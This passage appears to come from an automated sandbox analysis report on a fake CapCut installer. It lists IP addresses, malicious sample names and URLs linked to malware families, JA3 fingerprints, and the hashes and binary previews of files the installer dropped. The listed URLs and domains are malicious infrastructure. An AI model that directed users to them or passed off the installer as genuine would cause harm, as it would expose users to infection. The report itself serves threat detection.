                                                                                                                                                                                                                                                    CLOUDFLARENETUSDocumento_Contrato_Seguro_18951492.msiGet hashmaliciousAteraAgentBrowse
                                                                                                                                                                                                                                                    • 104.18.21.76
                                                                                                                                                                                                                                                    Documento_Contrato_Seguro_25105476.msiGet hashmaliciousAteraAgentBrowse
                                                                                                                                                                                                                                                    • 104.18.21.76
                                                                                                                                                                                                                                                    http://sharefileon.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.17.25.14
                                                                                                                                                                                                                                                    http://www.kukaj-to.chat/sedoGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.50.223
                                                                                                                                                                                                                                                    5j0fix05fy.jsGet hashmaliciousNetSupport RATBrowse
                                                                                                                                                                                                                                                    • 104.26.0.231
                                                                                                                                                                                                                                                    lavita.msiGet hashmaliciousBruteRatel, LatrodectusBrowse
                                                                                                                                                                                                                                                    • 172.67.161.60
                                                                                                                                                                                                                                                    https://escrowmedifllc.hostconstructionapp.com/qL3Zw/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.8.110
                                                                                                                                                                                                                                                    Doc_16-48-43.jsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.96.1
                                                                                                                                                                                                                                                    Doc_16-48-43.jsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.112.1
                                                                                                                                                                                                                                                    https://evitefestivities.infoGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                                                    • 104.17.25.14
                                                                                                                                                                                                                                                    CLOUDFLARENETUSDocumento_Contrato_Seguro_18951492.msiGet hashmaliciousAteraAgentBrowse
                                                                                                                                                                                                                                                    • 104.18.21.76
                                                                                                                                                                                                                                                    Documento_Contrato_Seguro_25105476.msiGet hashmaliciousAteraAgentBrowse
                                                                                                                                                                                                                                                    • 104.18.21.76
                                                                                                                                                                                                                                                    http://sharefileon.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.17.25.14
                                                                                                                                                                                                                                                    http://www.kukaj-to.chat/sedoGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.50.223
                                                                                                                                                                                                                                                    5j0fix05fy.jsGet hashmaliciousNetSupport RATBrowse
                                                                                                                                                                                                                                                    • 104.26.0.231
                                                                                                                                                                                                                                                    lavita.msiGet hashmaliciousBruteRatel, LatrodectusBrowse
                                                                                                                                                                                                                                                    • 172.67.161.60
                                                                                                                                                                                                                                                    https://escrowmedifllc.hostconstructionapp.com/qL3Zw/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.8.110
                                                                                                                                                                                                                                                    Doc_16-48-43.jsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.96.1
                                                                                                                                                                                                                                                    Doc_16-48-43.jsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 104.21.112.1
                                                                                                                                                                                                                                                    https://evitefestivities.infoGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                                                    • 104.17.25.14
                                                                                                                                                                                                                                                    X-DSL-NET1ZAnullnet_load.arm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                                    • 41.180.235.185
                                                                                                                                                                                                                                                    ppc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                                    • 41.180.235.193
                                                                                                                                                                                                                                                    1kqLF3lHvm.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                                    • 41.180.235.188
                                                                                                                                                                                                                                                    sXi5OsfvVH.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                                    • 41.180.100.160
                                                                                                                                                                                                                                                    http://timihref.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 192.142.47.212
                                                                                                                                                                                                                                                    sh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                                                                    • 41.180.235.193
                                                                                                                                                                                                                                                    arm7.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                                                                    • 41.180.100.168
                                                                                                                                                                                                                                                    mips.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                                                                    • 41.180.183.212
                                                                                                                                                                                                                                                    sora.ppc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                                    • 192.142.153.219
                                                                                                                                                                                                                                                    exitscam.pro-x86-2024-08-06T06_10_40.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                    • 192.142.103.80

                                                                                                                                                                                                                                                    JA3 Fingerprints

                                                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                                    a0e9f5d64349fb13191bc781f81f42e1lavita.msiGet hashmaliciousBruteRatel, LatrodectusBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    sNWQ2gC6if.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    66DJ2wErLz.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    out.bin.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousAmadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, XmrigBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    jYd7FUgGZc.exeGet hashmaliciousLummaC, StealcBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    sfWmEoGJQR.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110
                                                                                                                                                                                                                                                    V65xPrgEHH.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                                                    • 104.21.2.110

                                                                                                                                                                                                                                                    Dropped Files

                                                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\d3dcompiler_47.dllAyqwnIUrcz.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                      nanophanotool.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                                        9VbeqQbgU4.exeGet hashmaliciousRedLine, SectopRATBrowse
                                                                                                                                                                                                                                                          9VbeqQbgU4.exeGet hashmaliciousRedLine, SectopRATBrowse
                                                                                                                                                                                                                                                            ivySCI-5.6.3.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                              ivySCI-5.6.3.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                                MayitaV16.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                                  Xa04iTOvv5.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                                    Setup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                                      ArenaWarsSetup.exeGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                                                                        Created / dropped Files

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\D3DSCache\8385971fecf539ce\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:OpenPGP Secret Key
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):65552
                                                                                                                                                                                                                                                                        Entropy (8bit):0.012637573583053192
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:jllFlGlll/l/lXp9ZjrPBY0Dlltfq/JP:j/F0dPBY0D/kh
                                                                                                                                                                                                                                                                        MD5:958F6E753EDD5E192DFA0A9272CCB967
                                                                                                                                                                                                                                                                        SHA1:1A2E96C832822CC7AFE67F3759A56DB53DA0CFDE
                                                                                                                                                                                                                                                                        SHA-256:42D1E8FFEC5F1FD7CB482D942F727E4C3733572932516713153BAE7893EC0BC0
                                                                                                                                                                                                                                                                        SHA-512:C411F132F3DF01B5262D830B734EA21BAE25DE9EB973C5FE75286AC31108C02D8CA353F824BEA6596BE110068620F6904EC9D2E7B2F5F04F6BB7B37845108057
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..m.........................................f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\D3DSCache\8385971fecf539ce\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):4
                                                                                                                                                                                                                                                                        Entropy (8bit):1.5
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:R:R
                                                                                                                                                                                                                                                                        MD5:F49655F856ACB8884CC0ACE29216F511
                                                                                                                                                                                                                                                                        SHA1:CB0F1F87EC0455EC349AAA950C600475AC7B7B6B
                                                                                                                                                                                                                                                                        SHA-256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA
                                                                                                                                                                                                                                                                        SHA-512:599E93D25B174524495ED29653052B3590133096404873318F05FD68F4C9A5C9A3B30574551141FBB73D7329D6BE342699A17F3AE84554BAB784776DFDA2D5F8
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:EERF

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\D3DSCache\8385971fecf539ce\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:Matlab v4 mat-file (little endian) (, numeric, rows 0, columns 16, imaginary
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):65536
                                                                                                                                                                                                                                                                        Entropy (8bit):0.03511686602368174
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6:O9q0sRKUEZ+lX1OslolDdOGoG2wdYlko1IGsAlAtj2Hrn:T1RKQ11lolgG/ID1I4lc2L
                                                                                                                                                                                                                                                                        MD5:E1DEE03B1283924EC24E36EE03EF98AB
                                                                                                                                                                                                                                                                        SHA1:3620D3C33DCEAC195162F2C0DAF0AEF8F4395113
                                                                                                                                                                                                                                                                        SHA-256:9E61D430641D402CE16353E33BA8BF975E260E59410F3526BE3E55B5A1A8BF39
                                                                                                                                                                                                                                                                        SHA-512:F06472996AA74AFCF92D36334DAFF7901B9520B68DDB92EF10309975190669B908B98FDDD3F492FDD7CDCE4847BB5961C25C8C58FA87400E173B29ABBE0A8505
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:....................(....x:no.&A.e.u~+..C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.2.q.4.o.X.T.q.4.j.4.7.Y.y.e.j.O.9.r.c.d.l.V.9.g.r.g.w.\.P.h.i.l.i.p.i.n.e.s.s.A.v.i.a. .A.p.p.l.i.c.a.t.i.o.n...e.x.e...................................(...p.DJ!.IL.....Zm.F............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):3008
                                                                                                                                                                                                                                                                        Entropy (8bit):5.485384016093231
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:48:YizsSU4y4RQmFoUeCamfm9qr9t5/78NQffiiuxJZKaVEouYAgwd64rHLjtvWb:YizlHyIFKL2O9qrh7KWKjJ5Eo9Adrxe
                                                                                                                                                                                                                                                                        MD5:94C2791E471DD0FAE97493DED8A9FBAA
                                                                                                                                                                                                                                                                        SHA1:B5D8C2C8BF66586C8F1D6EF3C0929B3EDEBBC7F7
                                                                                                                                                                                                                                                                        SHA-256:9D24C8B4D9F1F369D64A0B6230A049AD528675AB797C2D03E50C60B8870C6EC4
                                                                                                                                                                                                                                                                        SHA-512:4F46288403C5210DFEC6E5017A48417FA70BF57C0BCA844983BEB6AFF0EF891C4AEDE99A2B1BCDBD9146D5D1827DCC3D3C27E8E7CF875201185D5FF70AF68D8E
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:@...e................................................@..........H..............@-....f.J.|.7h8..+.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\LICENSE.electron.txt

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1096
                                                                                                                                                                                                                                                                        Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                                                        MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                                                        SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                                                        SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                                                        SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\LICENSES.chromium.html

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:HTML document, ASCII text
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):8312662
                                                                                                                                                                                                                                                                        Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                                                        MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                                                        SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                                                        SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                                                        SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):160112640
                                                                                                                                                                                                                                                                        Entropy (8bit):6.744386287360523
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1572864:HLBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:HypCmJctBjj2+Jv
                                                                                                                                                                                                                                                                        MD5:13A330AD06FA31614522A0680888B16C
                                                                                                                                                                                                                                                                        SHA1:90E7D37A7288A585F68D9DA1639F83F583964DB6
                                                                                                                                                                                                                                                                        SHA-256:8DCBDC74FB8D1C2A7266827D21A921AAF9566C291BAB9CA7A4AADC5DA75BCBFB
                                                                                                                                                                                                                                                                        SHA-512:FB28C32C8699F4398CB430BF55D82E93E54D8D7B9A67906FB139CF501AFC5976192A1E9541E08CEEAB51F1A944C1FEB79E4791ABF1881C1C5A2D70B13E2676BA
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...........F.........@.............................P............`...........................................+.. ..0"..h............Pt.._@..................!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc................xz.............@..@.reloc...............|.............@..B................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\chrome_100_percent.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):127125
                                                                                                                                                                                                                                                                        Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                                                        MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                                                        SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                                                        SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                                                        SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\chrome_200_percent.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):177406
                                                                                                                                                                                                                                                                        Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                                                        MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                                                        SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
                                                                                                                                                                                                                                                                        SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                                                        SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\d3dcompiler_47.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):4916712
                                                                                                                                                                                                                                                                        Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                                                        MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                                                        SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                                                        SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                                                        SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Joe Sandbox View:
                                                                                                                                                                                                                                                                        • Filename: AyqwnIUrcz.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: nanophanotool.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: 9VbeqQbgU4.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: 9VbeqQbgU4.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: MayitaV16.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: Xa04iTOvv5.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: Setup.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        • Filename: ArenaWarsSetup.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\ffmpeg.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):2883072
                                                                                                                                                                                                                                                                        Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                                                        MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                                                        SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
